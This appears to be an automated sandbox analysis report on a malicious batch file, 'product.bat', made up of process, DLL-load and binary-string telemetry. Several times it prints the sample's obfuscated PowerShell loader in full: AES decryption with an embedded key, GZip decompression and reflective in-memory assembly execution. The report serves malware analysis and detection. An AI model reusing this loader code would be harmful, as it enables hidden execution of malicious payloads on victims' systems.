Invoke-Expression '$kTVmP=[System.Reflection.Assembly]::Load([byte[]]$zVdEq);'.Replace('', ''); Invoke-Expression '$aPGUN=$kTVmP.EntryPoint;'.Replace('', ''); Invoke-Expression '$aPGUN.Invoke($null, $ulmvt);'.Replace('', '');}$SQOtV = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $SQOtV;$KFKSq=[System.IO.File]::ReadAllText($SQOtV).Split([Environment]::NewLine);foreach ($vmudF in $KFKSq) { if ($vmudF.StartsWith('iecMs')) { $hJZkz=$vmudF.Substring(5); break; }}$bRzqF=[string[]]$hJZkz.Split('\');Invoke-Expression '$STi = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[0].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$JnT = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[1].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$UpD = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[2].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');zHrKT $STi $null;zHrKT $JnT $null;zHrKT $UpD (,[string[]] (''));	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{29a28251-c10b-42e7-8393-a6c218333ff2}	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll

Source: C:\Windows\System32\wbem\WMIC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: product.bat

Static file information: File size 7309406 > 1048576

Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000020.00000002.3344625315.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1531399417.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000020.00000000.1531285281.000001A9EB82B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000002.3343115348.000001A9EB82B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: $@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000020.00000002.3344625315.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1531399417.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: *@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdbog source: svchost.exe, 00000020.00000002.3344625315.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1531399417.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: &@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000020.00000002.3344625315.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1531399417.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831le.js source: svchost.exe, 00000020.00000002.3344625315.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1531399417.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: $@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000020.00000002.3344625315.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1531399417.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000020.00000002.3343830318.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1531330977.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000020.00000002.3344625315.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1531399417.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: svchost.exe, 00000020.00000002.3344625315.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1531399417.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000020.00000002.3343830318.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1531330977.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb* source: svchost.exe, 00000020.00000002.3344625315.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1531399417.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000020.00000002.3343830318.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1531330977.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000020.00000000.1531285281.000001A9EB82B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000002.3343115348.000001A9EB82B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000020.00000002.3344625315.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1531399417.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: &@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000020.00000002.3343830318.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.1531330977.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

Suspicious command line found

Source: C:\Windows\System32\cmd.exe	Process created: cmd.exe /c echo function vhVnA($zVdEq){ $TQYfY=[System.Security.Cryptography.Aes]::Create(); $TQYfY.Mode=[System.Security.Cryptography.CipherMode]::CBC; $TQYfY.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $TQYfY.Key=[System.Convert]::FromBase64String('axHRlwLJv4pwkbOf9iAIJflO6gLEZt+6bKCh3RuytCA='); $TQYfY.IV=[System.Convert]::FromBase64String('TxAvkYK6lZIDMpmpV8o+4Q=='); $bqyNP=$TQYfY.CreateDecryptor(); $fZHAT=$bqyNP.TransformFinalBlock($zVdEq, 0, $zVdEq.Length); $bqyNP.Dispose(); $TQYfY.Dispose(); $fZHAT;}function FpYMp($zVdEq){ Invoke-Expression '$fEGds=New-Object System.IO.MemoryStream(,$zVdEq);'.Replace('', ''); Invoke-Expression '$xpQRA=New-Object System.IO.MemoryStream;'.Replace('', ''); Invoke-Expression '$mCrfz=New-Object System.IO.Compression.GZipStream($fEGds, [IO.Compression.CompressionMode]::Decompress);'.Replace('', ''); $mCrfz.CopyTo($xpQRA); $mCrfz.Dispose(); $fEGds.Dispose(); $xpQRA.Dispose(); $xpQRA.ToArray();}function zHrKT($zVdEq,$ulmvt){ Invoke-Expression '$kTVmP=[System.Reflection.Assembly]::Load([byte[]]$zVdEq);'.Replace('', ''); Invoke-Expression '$aPGUN=$kTVmP.EntryPoint;'.Replace('', ''); Invoke-Expression '$aPGUN.Invoke($null, $ulmvt);'.Replace('', '');}$SQOtV = 'C:\Users\user\Desktop\product.bat';$host.UI.RawUI.WindowTitle = $SQOtV;$KFKSq=[System.IO.File]::ReadAllText($SQOtV).Split([Environment]::NewLine);foreach ($vmudF in $KFKSq) { if ($vmudF.StartsWith('iecMs')) { $hJZkz=$vmudF.Substring(5); break; }}$bRzqF=[string[]]$hJZkz.Split('\');Invoke-Expression '$STi = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[0].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$JnT = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[1].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$UpD = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[2].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');zHrKT $STi $null;zHrKT $JnT $null;zHrKT $UpD (,[string[]] (''));
Source: C:\Windows\System32\cmd.exe	Process created: cmd.exe /c echo function vhVnA($zVdEq){ $TQYfY=[System.Security.Cryptography.Aes]::Create(); $TQYfY.Mode=[System.Security.Cryptography.CipherMode]::CBC; $TQYfY.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $TQYfY.Key=[System.Convert]::FromBase64String('axHRlwLJv4pwkbOf9iAIJflO6gLEZt+6bKCh3RuytCA='); $TQYfY.IV=[System.Convert]::FromBase64String('TxAvkYK6lZIDMpmpV8o+4Q=='); $bqyNP=$TQYfY.CreateDecryptor(); $fZHAT=$bqyNP.TransformFinalBlock($zVdEq, 0, $zVdEq.Length); $bqyNP.Dispose(); $TQYfY.Dispose(); $fZHAT;}function FpYMp($zVdEq){ Invoke-Expression '$fEGds=New-Object System.IO.MemoryStream(,$zVdEq);'.Replace('', ''); Invoke-Expression '$xpQRA=New-Object System.IO.MemoryStream;'.Replace('', ''); Invoke-Expression '$mCrfz=New-Object System.IO.Compression.GZipStream($fEGds, 